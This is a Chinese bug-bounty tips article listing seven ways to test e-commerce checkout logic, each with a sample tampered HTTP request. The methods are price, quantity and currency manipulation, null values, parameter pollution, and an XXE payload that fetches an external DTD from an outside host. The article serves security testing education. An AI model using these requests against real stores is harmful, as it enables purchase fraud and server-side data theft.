漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-I

admin 2023年1月23日22:33:17评论14 views字数 2679阅读8分55秒阅读模式

漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-I

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

电商类的网站国内算是很多了,这里主要总结下相关业务功能的测试步骤以及技巧

正文

第一种方法

尝试控制数量,例如,原来的数量是1件,试着把它改成3件,可以免费得到两件物品,纯业务逻辑层面的漏洞

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

Quantity=3&price=10&currency=dollar&token=************& add=egy

第二种方法

尝试操纵篡改价格,例如原价格是10,试着将其改变为-10或分数值,例如0.10,使商品更便宜

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

Quantity=1&price=-10&currency=dollar&token=************& add=egy

第三种方法

尝试篡改货币种类,例如,原来的货币是美元,试着把它换成印度卢比,让商品更便宜

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

Quantity=1&price=10&currency=INR&token=************& add=egy

第四种方法

尝试在参数的所有字段值中使用负数、零、NaN、null或大量00000,例如Quantity=0000或Quantity=null,可能会发生逻辑问题

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

Quantity=null&price=10&currency=dollar&token=************& add=egy

第五种方法

尝试使用参数污染技术,如Quantity=1&Quantity=2或Quantity=[]获得免费物品

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

Quantity=1&Quantity=2&price=10&currency=dollar& token=************&add=egy

第六种方法

尝试省略参数,例如删除参数及其值或只删除值或尝试将其替换为Null,以引起逻辑问题

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

Quantity=1(这里的参数需要删除)&price=10&currency=dollar&token=************& add=egy

第七种方法

尝试更改内容类型头文件为Content - Type: application/xml,使用XXE有效负载,例如

<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://me.com/xxe.dtd" >]>

 
POST /buying-something HTTP/1.1
Host: www.company.com
Content-Type: application/xml;charset=UTF–8
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://me.com/xxe.dtd">]> <root>
<Quantity>&xxe;</Quantity>
<price>10</price>
<add>egy</add>
<token>******</token>
</root>

参考

https://hackerone.com/reports/364843

https://hackerone.com/reports/403783

https://hackerone.com/reports/771694

https://hackerone.com/reports/927661

https://hackerone.com/reports/422331

https://darkweblinks.org/2018/08/10/xxe-for-fun-and-profit-converting-json-request-to-xml/


原文始发于微信公众号(迪哥讲事):漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-I

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月23日22:33:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-Ihttps://cn-sec.com/archives/1405128.html

发表评论

匿名网友 填写信息